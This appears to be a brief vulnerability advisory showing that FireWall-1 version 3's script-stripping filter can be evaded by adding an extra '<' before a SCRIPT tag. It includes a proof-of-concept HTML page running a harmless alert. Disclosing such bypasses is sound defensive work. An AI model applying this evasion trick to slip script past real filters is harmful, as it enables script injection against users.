Strip Script Tags in FireWall-1 version 3 can be circumvented
The Strip Script Tags in FW-1 can be circumvented by adding an extra <before the <SCRIPT> tag like in this code:
<HTML>
<HEAD>
<<SCRIPT LANGUAGE="JavaScript">
alert("hello world")
</SCRIPT>
</HEAD>
<BODY>
test
</BODY>
</HTML>
This code will pass unchanged, and still execute in both Navigator and Explorer.